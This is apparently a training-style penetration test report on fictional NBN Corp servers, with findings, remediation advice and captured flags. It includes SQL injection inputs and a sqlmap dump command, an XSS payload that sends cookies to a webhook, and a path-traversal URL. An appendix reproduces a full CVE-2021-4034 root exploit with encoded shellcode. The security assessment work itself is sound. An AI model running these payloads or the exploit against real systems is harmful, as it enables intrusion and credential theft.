A person with a mask on

Description automatically generated

**Net Armor Pentesters** Security Assessment Report

**A blue and black logo

Description automatically generated**

Report Issued: 12/18/2023

## 

## Confidentiality Notice

*This report contains sensitive, privileged, and confidential information. Precautions should be taken to protect the confidentiality of the information in this document. Publication of this report may cause reputational damage to NBN Corp or facilitate attacks against NBN Corp. NetArmor Pentesters shall not be held liable for special, incidental, collateral or consequential damages arising out of the use of this information.*

## Disclaimer

*Note that this assessment may not disclose all vulnerabilities that are present on the systems within the scope of the engagement. This report is a summary of the findings from a “point-in-time” assessment made on NBN Corp’s environment. Any changes made to the environment during the period of testing may affect the results of the assessment.*

**TABLE OF CONTENTS**

[EXECUTIVE SUMMARY 4](#_Toc153834517)

[Introduction 5](#_Toc153834518)

[Test Overview 5](#_Toc153834519)

[Timeline 5](#_Toc153834520)

[Areas for Improvement 6](#_Toc153834521)

[Scope 7](#_Toc153834522)

[TESTING METHODOLOGY 8](#_Toc153834523)

[Risk Classifications 8](#_Toc153834524)

[Exploitation Likelihood Classifications 9](#_Toc153834525)

[Business Impact Classifications 9](#_Toc153834526)

[Remediation Difficulty Classifications 9](#_Toc153834527)

[ASSESSMENT FINDINGS 10](#_Toc153834528)

[**5 – Cross Site Scripting** 19](#_Toc153834529)

[**6 – Insecure Direct Object References** 21](#_Toc153834530)

[**7 – Directory Listing** 22](#_Toc153834531)

[Recommendations 26](#_Toc153834532)

[Conclusion 28](#_Toc153834533)

[APPENDIX A - Ports 29](#_Toc153834534)

[APPENDIX B – Scripts 30](#_Toc153834535)

[APPENDIX C – Flags 31](#_Toc153834536)

[APPENDIX D – Resources 31](#_Toc153834537)

# 

# EXECUTIVE SUMMARY

NetArmor performed a security assessment of the corporate network of NBN Corp on 12/14/2023. NetArmor’s penetration test simulated an attack from an external threat actor attempting to gain access to systems within the NBN Corp corporate network. The purpose of this assessment was to discover and identify vulnerabilities in NBN Corp’s infrastructure and suggest methods to remediate the vulnerabilities. NetArmor tested popular web application vulnerabilities such as SQL injection, Cross Site Scripting, and more. In total, 11 vulnerabilities within the scope of the engagement were found and are broken down by severity in the table below.

|  |  |  |  |
| --- | --- | --- | --- |
| **CRITICAL** | **HIGH** | **MEDIUM** | **LOW** |
| **3** | **5** | **3** | **0** |

The penetration test showed that the nbn web server and the nbn client **did not pass our security benchmarks and have a high risk score**. Our tests show that it is very easy to gain complete administrator control of both the nbn web server as well as the nbn client. Furthermore, analysis of the vsftpd.log on the nbn client shows that the nbn client was accessed on November 11 by an unauthorized user with the IP address 192.168.1.24. The attacker attempted to retrieve the /etc/shadow and /etc/passwd file, but only managed to download the /etc/passwd file. The critical nature of the findings indicates that NBN Corp must immediately apply security fixes to ensure data confidentiality, integrity, and availability of NBN services. Our top security recommendations are the use of complex passwords, sanitization of user inputs, and updating outdated software components. A full comprehensive list of security recommendations is provided in the recommendation section of the report.

**Note: that this assessment may not disclose all vulnerabilities that are present on the systems within the scope. Any changes made to the environment during the period of testing may affect the results of the assessment.**

# Introduction

## Test Overview

NetArmor Pentesters was contracted by NBN Corp to conduct a penetration test for NBN Corp to secure their systems. Two server images were provided to be analyzed, nbnwebserver and nbnclient. Furthermore, NBN Corp have expressed their suspicions that bad actors are still targeting their external-facing web servers.

To meet the demands, NetArmor used port scanning to retrieve more information about NBN’s systems. To test the security of NBN’s web applications, common web vulnerabilities such as SQL injection, Cross Site Scripting, Local File inclusion, and cookie hijacking were tested. After gaining shell access, privilege escalation payloads were tested to gain root access on the servers. The penetration test showed that the nbn web server and the nbn client **did not pass our security benchmarks and have a high risk score**.

## Timeline

The penetration test took 3 days to complete.

**Day 1: December 15, 2023:**

1. 10:00 – 10:30 AM: Reconnaissance and Network scanning of nbnwebserver
2. 10:30 – 12:30 PM: Exploitation of both production and staging websites
3. 12:30 – 03:00 PM: Exploitation of NPNwebserver

**Day 2: December 16, 2023:**

1. 10:00 – 10:30 AM: Reconnaissance and Network scanning of nbnclient
2. 10:30 – 12:30 PM: Exploitation of NPNclient

**Day 3: December 17, 2023:**

1. 10:00 – 11:30 AM: Checking nbnwebserver logs
2. 12:00 – 02:00 PM: Checking nbnclient logs
3. 02:00 – 09:00 PM: Finalizing Pentesting Report

## Areas for Improvement

Due to the critical vulnerabilities found, NetArmor recommends NBN Corp take immediate actions to improve the security of the network. The major flaws which were found in the security assessment are listed in the table below with actions of remediation. A full comprehensive list of security recommendations is provided in the recommendation section of the report.

|  |  |  |
| --- | --- | --- |
| Vulnerability | Reason | Remediation |
| Weak Credentials | The login information for two NBN employees was compromised due to their use of common words that were present in publicly available data dumps. | It is recommended that the passwords include a combination of upper- and lower-case letters, numbers, and special characters. Ideally, it should be lengthy, unique, and not easily associated with personal information like names or birthdates. |
| Exposed Staging Server | The production server was vulnerable to numerous vulnerabilities such as SQL injection, XSS, LFI, and more. Exploitation of the development server provided intel on exploiting the production server | Place strong authentication on the staging server so that only authorized users can access it. |
| Outdated Software | The version of Linux found on the webserver and the client were found to be vulnerable to a publicly known exploit which allowed the attacker to gain root access on the servers | Upgrade the Linux versions to the latest version |

## Scope

All testing was based on the scope as defined in the Request For Proposal (RFP) and official written communications by NBN Corp. The items in scope are listed below.

Provided NBN Networks

|  |  |
| --- | --- |
| **Network** | **Note** |
| Eth0: 10.10.0.66 | nbnwebserver |
| Eth1: 172.16.1.1 |
| Eth1: 172.16.1.2 | nbnclient |

Provided Credentials

NBN Corp have not provided NetArmor Pentesters with any system access or credentials.

Rules of Engagement

NetArmor Pentesters will not attack the internal client directly and must pivot through the webserver. NetArmor Pentesters is not allowed to change any system passwords, configurations, or install software. Denial of service attacks are outside the scope of the security assessment.

|  |  |
| --- | --- |
| Point of Contact | A person with a mask on  Description automatically generated |
| **NetArmor Pentesters** | Tel: +1 (555) 123-4567 |
| 555 Apple Street | Fax: +1 (555) 456-1234 |
| Suite B #2543 | Email: [info@netarmor.com](mailto:info@netarmor.com) |
| Brooklyn, NY, 11230 | Web: https://www.netarmor.pentesting.com |

# TESTING METHODOLOGY

NetArmor’s testing methodology was split into three phases: *Reconnaissance*, *Target Assessment*, and *Actions of Objectives*. During reconnaissance, we gathered information about NBN’s network systems. NetArmor used port scanning and other enumeration methods to refine target information and assess target values. Next, we conducted our targeted assessment. NetArmor simulated an attacker exploiting vulnerabilities in the NBN network. NetArmor gathered evidence of vulnerabilities during this phase of the engagement while carefully following the rules of engagement. For Actions of Objections, NetArmor prioritized finding flags and other sensitive company information. Forensic work was also done in this phase to identify any trace of bad actors attacking the system.

Tools used for the penetration test include:

|  |  |
| --- | --- |
| **TOOL** | **DESCRIPTION** |
| **Nmap** | Used for scanning ports on hosts. |
| **SQLmap** | Used to automate the exploitation of SQL injection |
| **John** | Used to crack the password hashes store in the NBN users database |

## Risk Classifications

NetArmor classifies and calculates the risk of vulnerabilities based on the table below.

|  |  |  |
| --- | --- | --- |
| **Level** | **Score** | **Description** |
| **Critical** | **10** | The vulnerability poses an immediate threat to the organization. Successful exploitation will grant attacker administrator privileges and view sensitive company data. Remediation should be immediately performed. |
| **High** | **7-9** | The vulnerability poses an urgent threat to the organization. Successful exploitation will grant attacker access to sensitive company data. Remediation should be prioritized. |
| **Medium** | **4-6** | Successful exploitation is possible and may result in unwanted actions on company services. This vulnerability should be remediated when feasible. |
| **Low** | **1-3** | The vulnerability poses a negligible/minimal threat to the organization. The presence of this vulnerability should be noted and remediated if possible. |

## Exploitation Likelihood Classifications

|  |  |
| --- | --- |
| **Likelihood** | **Description** |
| **Likely** | Exploitation methods are well-known and can be performed using publicly available tools. Low-skilled attackers and automated tools could successfully exploit the vulnerability with minimal difficulty. |
| **Possible** | Exploitation methods are well-known, may be performed using public tools, but require configuration. Understanding of the underlying system is required for successful exploitation. |
| **Unlikely** | Exploitation requires deep understanding of the underlying systems or advanced technical skills. Precise conditions may be required for successful exploitation. |

## Business Impact Classifications

|  |  |
| --- | --- |
| **Impact** | **Description** |
| **Major** | Successful exploitation may result in large disruptions of critical business functions across the organization and significant financial damage. |
| **Moderate** | Successful exploitation may cause significant disruptions to non-critical business functions. |
| **Minor** | Successful exploitation may affect few users, without causing much disruption to routine business functions. |

## Remediation Difficulty Classifications

|  |  |
| --- | --- |
| **Difficulty** | **Description** |
| **Hard** | Remediation may require extensive reconfiguration of underlying systems that is time consuming. Remediation may require disruption of normal business functions. |
| **Moderate** | Remediation may require minor reconfigurations or additions that may be time-intensive or expensive. |
| **Easy** | Remediation can be accomplished in a short amount of time, with little difficulty. |

# ASSESSMENT FINDINGS

|  |  |  |  |
| --- | --- | --- | --- |
| **Number** | **Finding** | **Risk Score** | **Risk** |
| 1 | **Threat Actor** | **10** | **Critical** |
| 2 | **Privilege Escalation (Webserver)** | **10** | **Critical** |
| 3 | **Privilege Escalation (Client)** | **10** | **Critical** |
| 4 | **SQL Injection** | **9** | **High** |
| 5 | **Cross Site Scripting** | **8** | **High** |
| 6 | **Insecure Direct Object References** | **8** | **High** |
| 7 | **Directory Listing** | **7** | **High** |
| 8 | **Local File Inclusion** | **7** | **High** |
| 9 | **Information Disclosure** | **6** | **Critical** |
| 10 | **Showing SQL Query String** | **6** | **Critical** |
| 11 | **Insecure Cryptographic Implementation** | **6** | **Critical** |

‘

**1 – Threat Actor**

|  |  |
| --- | --- |
| **CRITICAL RISK (10/10)** | |
| **Exploitation Likelihood** | **Likely** |
| **Business Impact** | **Major** |
| **Remediation Difficulty** | **Moderate (Recommendation 1)** |

**Analysis**

Upon examining the log files for the nbnclient image, it was found that an unidentified user tried to connect to the FTP server. The logs can be viewed by running: **sudo cat /var/log/vsftpd.log** A screen shot of a computer

Description automatically generated

***Figure 1:*** *Anonymous user connecting to FTP server*

The attack was initiated on Sunday, November 11. The logs show two clients, "127.0.0.1" and "192.168.1.24, " connecting to the FTP service via the FTP anonymous login feature. Connections originating from "127.0.0.1" are usually internal and legitimate as they're from the local system, accessing services or processes within itself. However, while connections from "127.0.0.1" are generally legitimate, they could still be manipulated by an attacker. Given that there was a failed login attempt and multiple login attempts around the same time as the connection made by 192.168.1.24, we reason that the client “127.0.0.1” and 192.168.1.24” are the same user. The logs show that the attacker attempted to exfiltrate the /etc/shadow and /etc/passwd files but was only successful in retrieving the /etc/passwd file. Given the spoofing capabilities of the attacker, we reason that the adversary is highly skilled.

The /etc/passwd file contains sensitive user account information such as usernames and user account details. With this file, the attacker may begin to launch targeted attacks such as social engineering and phishing attacks aimed at the users listed in the file.

**2 – Privilege Escalation on the Web Server**

|  |  |
| --- | --- |
| **CRITICAL RISK (10/10)** | |
| **Exploitation Likelihood** | **Possible** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

During the initial NMAP Scan, it showed the port 443 was the SSH server for the nbnwebserver. The command used for the NMAP scan was: **sudo nmap -sV -O -p- 10.10.0.66**

A computer screen with white text

Description automatically generated

***Figure 7****: Results of the NMAP scan on nbnwebserver*

A connection was made to the server via the following command: **ssh -p 443 gibson@10.10.0.66.** Using “**digital”** as the password, the SSH connection into the server was successfully made. Sensitive files were able to be accessed such was the flag3 file which was recorded to be **flag3{brilliantly\_lit\_boulevard}.**

A screenshot of a computer

Description automatically generated

***Figure 7****: Authenticating into SSH server through Gibson*

After authenticating as gibson, the version of Linux was found to be **18.04.2 LTS** by running **cat /etc/os-release.**

A screenshot of a computer screen

Description automatically generated

***Figure 8****: Linux Version of webserver*

This is an outdated version of Linux and is vulnerable to privilege escalation. One popular known exploit used for privilege escalation that affects this version of Linux is **CVE-2021-4034.** CVE-2021-4034 exploits the polkit’s pkexec utility to gain root privileges. A public python exploit of this vulnerability was found on github. This exploit was uploaded onto the server and was successful in gaining root privileges.

A screenshot of a computer

Description automatically generated***Figure 9****: Privilege Escalation of Web Server*

*A screenshot of a computer

Description automatically generated*

***Figure 9****: Privilege Escalation of Web Server*

Once root was granted, the attacker can gain full control of the nbnwebserver. The flags that were retrieved were **flag4{youre\_going\_places}** and **flag5{weve\_always\_done\_it\_this\_way}**

**3 –Privilege Escalation on nbnclient**

|  |  |
| --- | --- |
| **CRITICAL RISK (10/10)** | |
| **Exploitation Likelihood** | **Possible** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

Due to the scope of the attack restricting the installation of 3rd party tools onto the NBN Server. A simple port scanning script was written onto the NBN server to scan the NBN client.

A screenshot of a computer

Description automatically generated

***Figure 7****: Port scanning scrip*

After running the script, the following ports were identified on the client. All the ports were connected to test for the service being ran on that server.

Via the SSH service provided on port 22, a connection to the server was made via the following command: **ssh** [**stephenson@172.16.1.2**](mailto:stephenson@172.16.1.2)**.** Using **pizzadeliver** as the password, the connection successfully authenticated, and provided the shell for the user stephenson.

**4 – SQL injection**

|  |  |
| --- | --- |
| **High RISK (9/10)** | |
| **Exploitation Likelihood** | **Likely** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

SQL injection was only found on the staging server. The vulnerability was initially found after entering **‘ OR 1=1** into the username field.

A screenshot of a computer

Description automatically generated

***Figure 4****: Successful SQL injection attack*

Once the vulnerability was recorded, SQL Map was used to rapidly exfiltrate and dump out all the contents of the database. The “user” table was targeted as that contained sensitive employee login credentials. The command that was used was:

sqlmap "<http://10.10.0.66:8001/login.php?username=w&password=w&Login=Enter>" -D nbn -T users –dump

A screenshot of a computer

Description automatically generated***Figure 4****: SQLMap results of user table*

There were two entries that were shown via SQLMap, **gibson** and **stephenson**. SQLmap was able to crack the hashed password for gibson to be **digital** but was unable to crack the password for stephenson. So, john was used to crack the password for stephenson via the rockyou.txt wordlist. The command that was entered to do so was: john –format=raw-md5 –wordlist=~/Desktop/rockyou.txt hashes.txt

A screenshot of a computer program

Description automatically generated***Figure 5****: Cracking the Password of Stephenson*

The final cracked user credentials that were able to be retrieved via SQL injection were

|  |  |
| --- | --- |
| Users | Password |
| **gibson** | **digital** |
| **stephenson** | **pizzadeliver** |

***Table 1****: NBN Employee credentials*

These credentials were used to successfully login into the employee login page in the production server and staging server.

A screenshot of a computer

Description automatically generated

***Figure 6****: Successful NBN Employee login*

A screenshot of a computer

Description automatically generated

***Figure 7****: Successful SSH connection onto nbnclient*

Sensitive files were able to be accessed such was the flag7 file which was decoded to be **flag7{worlds\_within\_worlds}.**

A black and white rectangle with black text

Description automatically generated

***Figure 7****: Decoded flag7*

The version of Linux was checked by running **cat /etc/os-release.** The version of Linux was found to be **18.04.4 LTS**. This version of Linux is still vulnerable to the same exploit that was used to gain root privileges in the webserver, **CVE-2021-4034**. The exploit was uploaded to the client and exploited to gain root privileges.

A screenshot of a computer

Description automatically generated

***Figure 8****: Escalating privilege on client*

Root was achieved and the NBN client and sensitive files such as flag8.txt was retrieved. The decoded hex string of flag8.txt was recorded to be **flag8{escape\_the\_metaverse}.**

## **5 – Cross Site Scripting**

|  |  |
| --- | --- |
| **HIGH RISK (8/10)** | |
| **Exploitation Likelihood** | **Minor** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

Cross Site Scripting (XSS) was only found on the production server. The vulnerability was initially found after entering **<script> alert(1) </script>** into the name field of the Subscribe now section.

A screenshot of a subscribe form

Description automatically generated

***Figure 8****: Vulnerable text box*

When an authenticated employee clicks on the “Future Customer List” option, an Alert(1) pop up was successfully executed.

A screenshot of a computer

Description automatically generated

***Figure 8****: Successful Alert(1) pop up*

With the successful exploitation of XSS, a webhook can be set up for a session hijacking attack. NetArmor owns the domain https://webhook.site/ae90901c-d002-4818-9fb3-2bccb23a0434. Any requests made to that domain, can be viewed by NetArmor. A payload of:

**<img src=x onerror=this.src="https://webhook.site/ae90901c-d002-4818-9fb3-2bccb23a0434/?"+document.cookie;>** was entered and the webhook recorded that the cookie for authenticated users was **authenticated=1**

A screenshot of a computer

Description automatically generated

***Figure 8****: Recovered Employee Cookies*

## **6 – Insecure Direct Object References**

|  |  |
| --- | --- |
| **HIGH RISK (8/10)** | |
| **Exploitation Likelihood** | **Likely** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

The authentication mechanism used to check for whether a user is authenticated or not is though the use of a single cookie, authenticated. The cookie is set either to 1 if the user is authenticated and 0 if the user is not. A regular user without any credentials, can easily modify the authenticated parameter in the cookie and URL to be 1 and log in.

If this URL is entered into the URL of the webpage, **10.10.0.66/login.php?username=1&password=1&Login=Enter&authenticated=1**, It will able take the user to the employee.php page. Furthermore, if the authenticated cookie is changed to 1, the user will be able to see the customer.list file as well.

A screenshot of a computer

Description automatically generated

***Figure 2****: Setting authenticated cookie to 1*

## **7 – Directory Listing**

|  |  |
| --- | --- |
| **HIGH RISK (7/10)** | |
| **Exploitation Likelihood** | **Likely** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

Directory Listing of the /data/ directory was found on both the production (port 80) and the staging server (port 8001). The production server had a few more files than that of the staging server. The only file that needed elevated permissions to be accessed was flag4.jpg. All other files were able to be retrieved. Some of the sensitive company and user information that could be accessed was the customer.list and flag1 files. The value of flag1 is **flag1{cyberfellows\_goodluck}.**

A screenshot of a computer

Description automatically generated

***Figure 2****: Directory Listing of the Production server*

**8 – Local File Inclusion**

|  |  |
| --- | --- |
| **HIGH RISK (7/10)** | |
| **Exploitation Likelihood** | **Likely** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

Local file inclusion was found on both the production and staging server. The URL for the production server is: <http://10.10.0.66/internal/customers.php?list=..%2Fdata%2Fcustomer.list>. By changing the highlighted part of the URL, an attacker can read sensitive data on the NBN web server. Flag2 was found to be **flag2{down\_a\_rabbithole}.**

A screenshot of a computer

Description automatically generated

***Figure 7****: Reading the /etc/passwd file through LFI*

**9 – Information Disclosure**

|  |  |
| --- | --- |
| **MEDIUM RISK (6/10)** | |
| **Exploitation Likelihood** | **Low** |
| **Business Impact** | **High** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

When submitting the username and password, the credentials are transmitted with GET requests. This means that the input will be shown in plain text in the URL. If the attacker is performing a man-in-the-middle attack, they will be able so the submitted credentials via the URL.

A screenshot of a computer

Description automatically generated

***Figure 7****: Sensitive Login information shown in URL*

**10 – Shown SQL Query**

|  |  |
| --- | --- |
| **MEDIUM RISK (6/10)** | |
| **Exploitation Likelihood** | **Low** |
| **Business Impact** | **Minor** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

When a failed login attempt is made on the login.php page, the error message shows the SQL query that is submitted to the database. Revealing such the SQL query can inform attackers about the table name, password hash used, and database structure.

A close-up of a computer screen

Description automatically generated

***Figure 7****: Failed Login Message*

**11 – Insecure Cryptographic Implementation**

|  |  |
| --- | --- |
| **Medium RISK (6/10)** | |
| **Exploitation Likelihood** | **Low** |
| **Business Impact** | **Moderate** |
| **Remediation Difficulty** | **Easy** |

**Analysis**

When shell was obtained, the source code of the login.php file was examined by the command: **cat /var/www/staging/login.php**. It was shown that the passwords are unsalted and md5 hashed. Furthermore, there is a backdoor if the username is “test.” The MD5 hash is considered broken and outdated for modern cryptographic standards. MD5 has been shown to have collisions and can be computed relatively quickly, making it more vulnerable than other hashes to brute-force attacks.A screenshot of a computer

Description automatically generated

***Figure 7****: Login.php Source Code*

# Recommendations

**Recommendation 1 – Threat Actor**

* Due to the discovery of a threat actor who retried the /etc/passwd file. Change all employee and system passwords.
* Have company wide cybersecurity trainings on phishing attacks.
* Back up all data in case of a denial of service attack by the user

**Recommendations 2 – Privilege Escalation**

* Updating Linux to the latest version will not only protect against CVE-2021-4034, but other vulnerabilities and bugs as well.

**Recommendations 2 – SQL injection**

* Use prepared statements or parameterized queries, instead of concatenating the user input directly to the query.
* Input validation of the user input. SQL injection failed on the production server because there was input validation in place that restricted the use of apostrophes. Implementing this in the production server would eliminate the risk of SQL injection.
* Do not use actual employee credentials on the staging server as it is meant for development purposes. Temporary fakle credentials that are specifically designed for the staging server would be a better alternative.

**Recommendation 4 – Cross Site Scripting**

* Encode user-generated content before displaying it in the browser. Use HTML escaping to convert special characters (<, >, &, ", ') into their respective HTML entities (&lt, &gt, &amp, &quot, &apos, &#x60) to prevent the browser from interpreting them as code.

**Recommendation 5- Insecure Direct Object References,**

* Use tokens or session IDs. There identifies should be cryptographically secure and random.
* Implement Multifactor authentication such as SMS-verification, email code, or push notification.

**Recommendations 6 – Directory Listing**

* In the Apache Configuration file, commonly named “httpd.conf,” search for the <Directory> directive that corresponds to the directory that you want to disable browsing. To disable the directory from being browsed, look for the like that contains the option directive and remove the indexes option. This can be done by putting a minus sign before the Indexes.

**Recommendations 7 – Local File Inclusion**

* Sanitize user input and place permissions on sensitive files.

**Recommendations 8 – Information Disclosure**

* Do not use GET request for login. Use POST request instead

**Recommendations 9 – Shown SQL Query**

* Do not show the SQL query as an error message. Instead, have the error message say Invalid login.

**Recommendations 10 – Insecure Cryptographic Implementation**

* Use Sha – 2 family of hashes (SHA -256, SHA-384, SHA-512) instead of MD5
* Use a salt for the passwords and usernames stored in the database. This can be done by generating a unique random sequence of characters (between 16- 32 bytes long). Then concatenate the password and the salt together and hash them into the database.

**Recommendations 11**

* Use stronger passwords. It is recommended that the passwords include a combination of upper- and lower-case letters, numbers, and special characters. Ideally, it should be lengthy, unique, and not easily associated with personal information like names or birthdates. Creating a passphrase or using a password manager to generate and store complex passwords can also enhance security.

**Recommendations 12**

* Place authentication on the staging server. The production server should not be exposed to the public.

# Conclusion

NetArmor performed a security assessment of the corporate network of NBN Corp on 12/14/2023. NetArmor’s penetration test simulated an attack from an external threat actor attempting to gain access to systems within the NBN Corp corporate network. The purpose of this assessment was to discover and identify vulnerabilities in NBN Corp’s infrastructure and suggest methods to remediate the vulnerabilities. NetArmor tested popular web application vulnerabilities such as SQL injection, Cross Site Scripting, and more. In total, 11 vulnerabilities within the scope of the engagement were found and are broken down by severity in the table below.

|  |  |  |  |
| --- | --- | --- | --- |
| **CRITICAL** | **HIGH** | **MEDIUM** | **LOW** |
| **3** | **5** | **3** | **0** |

The penetration test showed that the nbn web server and the nbn client **did not pass our security benchmarks and have a high risk score**. Our tests show that it is very easy to gain complete administrator control of both the nbn web server as well as the nbn client. Furthermore, analysis of the vsftpd.log on the nbn client shows that the nbn client was accessed on November 11 by an unauthorized user with the IP address 192.168.1.24. The attacker attempted to retrieve the /etc/shadow and /etc/passwd file, but only managed to download the /etc/passwd file. The critical nature of the findings indicates that NBN Corp must immediately apply security fixes to ensure data confidentiality, integrity, and availability of NBN services. Our top security recommendations are the use of complex passwords, sanitization of user inputs, and updating outdated software components.

# APPENDIX A - Ports

|  |  |
| --- | --- |
| Port | Service |
| 80 | Production Server Apache httpd 2.4.29 ((Ubuntu)) |
| 443 | SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 8001 | Staging Server Apache httpd 2.4.29 ((Ubuntu)) |
| 65534 | FTP vsFTPD3.0.3 |

|  |  |
| --- | --- |
| Port | Service |
| 22 | SSH (Secure Shell) - used for secure remote access. |
| 25 | SMTP (Simple Mail Transfer Protocol) |
| 110 | POP3 (Post Office Protocol version 3). |
| 143 | IMAP (Internet Message Access Protocol) |
| 5268 | Unknown/Unassigned |
| 5355 | LLMNR (Link-Local Multicast Name Resolution) |
| 5782 | Unknown/Unassigned |
| 5843 | Unknown/Unassigned |
| 5854 | Unknown/Unassigned |
| 6174 | Unknown/Unassigned |
| 6573 | NBN Management Portal |
| 6868 | Unknown/Unassigned |
| 7437 | Unknown/Unassigned |
| 9562 | Unknown/Unassigned |
| 12824 | Unknown/Unassigned |
| 15035 | Unknown/Unassigned |
| 24204 | Unknown/Unassigned |
| 28478 | Unknown/Unassigned |
| 34246 | Unknown/Unassigned |
| 40998 | Unknown/Unassigned |
| 42780 | Unknown/Unassigned |
| 49881 | Unknown/Unassigned |
| 49953 | Unknown/Unassigned |
| 52396 | Unknown/Unassigned |
| 53852 | Unknown/Unassigned |
| 54597 | Unknown/Unassigned |
| 56585 | Unknown/Unassigned |
| 62049 | Unknown/Unassigned |
| 62992 | Unknown/Unassigned |

***Table 2****: NMAP Port Scan Results*

*of nbnwebserver*

***Table 1****: Port Scan Results of nbnclient*

# APPENDIX B – Scripts

**CVE-2021-4034 Privilege Escalation Script**

Reference: https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py

import base64, os  
from ctypes import \*  
from ctypes.util import find\_library  
  
payload = base64.b64decode(b'''  
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC  
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ  
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA  
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA  
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA  
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=''')  
  
environ = [b'exploit', b'PATH=GCONV\_PATH=.', b'LC\_MESSAGES=en\_US.UTF-8', b'XAUTHORITY=../LOL', None]  
  
libc = CDLL(find\_library('c'))  
  
with open('payload.so', 'wb') as f:  
 f.write(payload)  
os.chmod('payload.so', 0o0755)  
  
os.mkdir('GCONV\_PATH=.')  
open('GCONV\_PATH=./exploit', 'wb').write(b'')  
os.chmod('GCONV\_PATH=./exploit', 0o0755)  
  
os.mkdir('exploit')  
open('exploit/gconv-modules', 'wb').write(b'module UTF-8// INTERNAL ../payload 2\n')  
  
environ\_p = (c\_char\_p \* len(environ))()  
environ\_p[:] = environ  
libc.execve(b'/usr/bin/pkexec', c\_char\_p(None), environ\_p)

**nbnclient port scanner**

#!/bin/bash  
if [ $# -ne 1 ]; then  
 echo "Usage: $0 <IP>"  
 exit 1  
fi  
IP=$1  
echo "Scanning ports for $IP..."

for port in {1..65535}; do  
 timeout 1 bash -c "echo >/dev/tcp/$IP/$port" 2>/dev/null && echo "Port $port is open"  
done

# APPENDIX C – Flags

|  |  |
| --- | --- |
| Flag1 | Flag1{cyberfellows\_goodluck} |
| Flag2 | Flag2{down\_a\_rabbithole} |
| Flag3 | Flag3{brilliantly\_lit\_boulevard} |
| Flag4 | Flag4{youre\_going\_places} |
| Flag5 | Flag5{weve\_always\_done\_it\_this\_way} |
| Flag7 | flag7{worlds\_within\_worlds} |
| Flag8 | flag8{escape\_the\_metaverse} |

# APPENDIX D – Resources

|  |  |
| --- | --- |
| Resource | Links |
| Pentesting Template | * https://ccso.psu.edu/penetration-testing-resources/ |
| CVE 2021-4034 | * <https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py> * <https://nvd.nist.gov/vuln/detail/CVE-2021-4034> * https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 |
| Security Mitigation Resources | * https://portswigger.net/web-security/all-topics |